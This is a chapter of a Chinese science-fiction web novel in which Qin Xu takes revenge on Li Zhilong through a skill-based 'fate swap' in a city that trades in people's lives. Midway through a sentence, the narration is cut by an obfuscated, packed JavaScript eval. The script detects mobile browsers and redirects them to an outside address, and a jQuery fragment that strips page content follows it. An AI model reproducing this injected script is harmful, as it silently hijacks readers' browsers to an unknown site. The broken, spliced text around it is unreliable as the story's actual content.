“你去学校找我那天。”


    秦叙冷静地看着他：“你说自己来赞助孤儿，穿得像个小王子。我坐上你的车，真皮座椅底下，还有我父母没干透的血、那枚被你当成垃圾的婚戒。”


    “哈哈，哈哈哈哈！”


    李稚珑忽然笑起来，他状若癫狂地看着眼前的alpha，“你怎么不早说？早点告诉我，我送你下去、让你们一家人团聚！”


    “你舍不得。”


    秦叙上前，布满伤痕的粗糙手掌捧起他的脸，居高临下地看着他：“——李稚珑，你舍不得。因为除了我，没人会让你予取予求、随叫随到。没人会因为你一个电话半夜到你床前跪好、为了你喝一口热汤花一天时间跨越整个星球。”


    “你心知肚明吧，李稚珑？”


    秦叙深深望着他：“你知道身边的一切都是假的，狐朋狗友为了你的钱财、生意场上别人谄媚你的家世、你全家看在你早死母亲的份上纵容你溺爱你，因为你是个没用的alpha——只有我，因为你是李稚珑，对你好。”


    李稚珑浑身发抖，他死死盯着眼前的人，忽然一挣，拼着胳膊脱臼，一口咬住了眼前alpha的面颊！


    汩汩鲜血霎时流出，李稚珑死咬着，竟然要生生撕下一块肉来。


    秦叙疼得面色狰狞，却一动不动。终于，李稚珑脱力般松了口，吐出一口血沫。


    秦叙面无表情地拿了一旁的医疗凝胶糊在自己脸上：“……我要说的就这么多。李稚珑，我不欠你的。”


    李稚珑原本还在冷笑，又被口中的血气呛得连声咳嗽，再抬头时，看见秦叙正在光屏上写着什么。


    通讯里，熟悉的声音响起，竟是裴清初。


    “使用天赋技能。”Omega的声音一贯的平静淡漠，此刻听来，竟有些悲悯。


    ——他要做什么？


    李稚珑瞳孔骤缩，下意识呼出个人界面，看到状态栏里的系统公告，[“裴清初”对您使用了天赋技能。]


    ——什么天赋技能？


    身后，两个警卫松开手。李稚珑捂着刚才被自己拽脱、此刻棉花般吊在身旁的胳膊，眉头紧锁。


    他脑海中乱成一团浆糊，喉中还有未能散尽的血腥，怨毒、愤恨和怒火烧透了身体，如果不是这个姓裴的，他绝不会这般流年不利……裴清初又在耍什么花招？


    他没注意到的是，自己腰间的蓝色价牌，缓缓消失。


    与此同时，秦叙胳膊上，出现了一枚硕大的红色价签。


    那刺目的红色灼伤了李稚珑的视线，他猛地转头。


    “你自由了。”


    秦叙看着他，忽然笑了，像是释怀，又带着绵延不绝的恶与恨。


    红色价签，意味着他的性命已经完全属于心想城，他却仿佛毫不在意似的，扔下笔，一步步走近alpha面前，腰板笔直地从高下望：“李稚珑，回去吧，回联邦去。”


    “不过，那里已经没有你的家了，你的舅舅李理事被捕入狱，你家阿母和mama们为保释他求遍了人、散尽家财——D星已经没有你的李家了。”


    “你只能像一个你曾经最看不起的普通人那样，靠打工生活、看别人脸色生存、被权贵一拍脑袋的决策戏耍得团团转……好一些的情况，出卖灵魂、尊严、体力求份工作，还卖不上价；坏一些呢，被人一时兴起害得家破人亡，而他们永远不会得到报应。”


    他向来沉寂的面孔上露出一个毫无温度的笑：


    “——李稚珑，欢迎体验我的人生。”


    李稚珑愣在原地。


    秦叙并没有被[警卫]架住，他甚至没挣扎，自己抬腿跟着经理和两个庞大的身躯离开。


    他没有迟疑，也没有回头看李稚珑一眼，仿佛久居病中的人终于甩下沉疴痼疾。


    似乎不是走向一条黄泉路，而是走向那间他曾经心心念念的学府入口。


    房间里，所有奢华炫目的光线随着警卫的离开褪尽，周围寂静而黑暗，视野中只见一个个简陋的绿色箭头指向出口。


    在死一般的寂静里，李稚珑的心骤然恐慌起来。他曾听说过这幅画面。


    这是心想城的“驱逐”。


    身后的灯光缓缓变暗，无声地催促他前行，他沿着黑暗中的箭头指引跌跌撞撞地往前走，手臂还在隐隐作痛，脚步却丝毫不敢停。光线不断在他身后彻底熄灭，成为伸手不见五指的黑暗。


    脚下还是厚重奢靡的地毯质感，然而一切光影褪尽后，黏腻沉重如绊住脚步的泥潭。


    李稚珑深一脚浅一脚地走着，走进毫无贴装、板材搭建的电梯，他提心吊胆地站在角落，四周黯淡，只能听到隐约欢乐躁动的鼓点。


    ——从电梯的镂空缝隙看去，那是一片异常空荡的巨大房间：硬纸板、塑料壳简陋地搭建起棚顶，男男女女穿着简陋的衣服在场中宣传呼喝，摆出各种各样的姿势，贵族般行礼作乐。他们脸颊消瘦，眼睛微凸，神情迷醉，却幸福。


    这是全息投影消失后的心想城，空气中的药物营造出足以蒙蔽神经的幻觉，李稚珑缓缓收回视线。


    电梯门打开，刺骨的冷风瞬间穿透衣衫，他却觉不到冷。


    当年他使用[威仪]，也是这般可笑吗？


    一群衣衫褴褛的贱民被鼓风机吹倒，而他，就那样得意洋洋地，站在一堆泡沫纸屑之间？


    李稚珑神志不清地沿着道路往亮处走，有人上前推销，他却听不见似的，像踩在棉花上、踩在云端里，他从层层叠叠的人影中穿过，直到一辆黑色的复古车急在他面前刹车，李稚珑躲闪不及，被重重撞倒在地。


    “秦——”


    他下意识开口要骂没能护好他的保镖跟班，却愣住了。


    秦叙去哪了？他明明该寸步不离的。


    “真是可怜的孩子。”


    一只手摸过他的脸，李稚珑浑浑噩噩地抬头，看见一双狐狸似的、漂亮的青色眼睛。


    狐狸男笑了一声，色泽妖异的长发垂落如瀑，挥了挥手：“放他走吧。”


    有人上前引他离开，李稚珑余光看到的最后一幕，是这个狐狸长相的长发男人，被人搀扶着，坐在了轮椅上。


    ——


    【黑市·信息塔·十九层拍卖会场包厢】


    “有没有哪里有异常？”阎越砾亲自倒了杯水，递给裴清初。


    方才他们收到秦叙的信，见他请求裴清初使用技能，还以为是陷阱。


    但秦叙送来的道具[罪与罚]，让裴清初刚好有机会尝试技能——


    [罪与罚]：清除技能发动时的负面代价一次，负面代价由技能承受者承担。


    一个免责道具，裴清初置


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16826254|190819||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    换了秦叙跟李稚珑的“命运”，代价则有秦叙支付。


    秦叙承担了李稚珑卖出的52%人身权限、[命运置换]技能扣除的7%，再加上他前期获取技能信息、购买道具、跟心想城借贷的利息……


    一个人的人生转瞬间就被分割干净、吞食殆尽。


    这是秦叙的选择，在裴清初看来，他亲手筹划了一切、干脆利落地做出了最优解，用自己的方式报复了李稚珑，应该得偿所愿才对。


    但为什么，明明已经解脱，他却并不开心？


    “你以后会明白的。”


    秦叙挂断通讯时笑了下，他其实也算英俊，只是眉眼压低，显出些阴郁来，“人不是机械，即使计算好了一切，也无法违拗自己的心。”


    他指了指自己的心口：“即使是剜去的空洞，风从中穿过，也会有回声。”


    裴清初不太明白他的比喻，如果该“剜去”的是李稚珑，秦叙为什么要抵押自己？


    ……他们之间，有比兰昭蘅教给他的“喜欢”更深、也更沉重的东西。


    裴清初想，只是他暂时不知道那究竟是什么。


    检查完状态面板，他对阎越砾摇了摇头，示意自己并无异常。


    心想城给每个人独一无二的“天赋技能”，必然有它的意图，只是他目前还不知道，心想城想从他身上得到什么。


    “总归不是什么好事。”


    阎越砾得知他没事，总算松了口气，坐在对面，开始处理公务，他揉了揉额角，压下隐约的烦躁。


    “它能把你的信息告诉秦叙，当然也能卖给别人。有你的[命运置换]，那些人只需要找一个倒霉蛋，就可以随时将自己的巨大代价转移。”


    裴清初就像一块能帮人长生的唐僧肉，不用想就知道，那些赌徒在知道这个消息后，会如何疯狂。


    他的存在本身，就是一张“美梦邀请函”。


    心底的不安预感越来越强烈，Alpha忽然从颈上拎了什么出来，在掌心磋磨片刻，把那条狼牙吊坠解下，递给他：“戴上。”


    裴清初下意识伸出掌心，那骨色通体如玉，刻着金色纹路，散发着某种……熟悉的能量波动。


    ——竟然是异兽骨骸。


    “没杀生，是自己掉的乳牙。”


    阎越砾盯着那枚狼牙，不知道在想什么：“我的基因跟星际巨狼重合度高，能靠信息素感受到它的位置，你贴身戴着，如果出事了，我能找到你。”


    裴清初好奇地摸了摸，触感温润。他细细感知了一下，这枚吊坠的波动，似乎跟那天航空港的黑金巨狼有些相似，跟……家里的大黑也有些相似。


    难道犬科异兽的能量波动都是这种频率？


    裴清初眨了眨眼，反手把柔软的皮质绳戴上。


    阎越砾到底还是没忍住，靠近帮他调整长度。


    这几天形影不离，裴清初已经习惯了他的接近，稍一犹豫，就微微低头，任他施为。


    阎越砾身体里的躁动瞬间更重了。


    转移话题似的，他顾左右而言他：“……红发女人的事情，我让齐鸢他们去查了，科伦失踪当天，没人在附近看到这样的人出没。”


    “不过，易重山用我们传回去的实景全息图片做了建模，说……”


    “信息塔里，似乎有隐藏的空间。”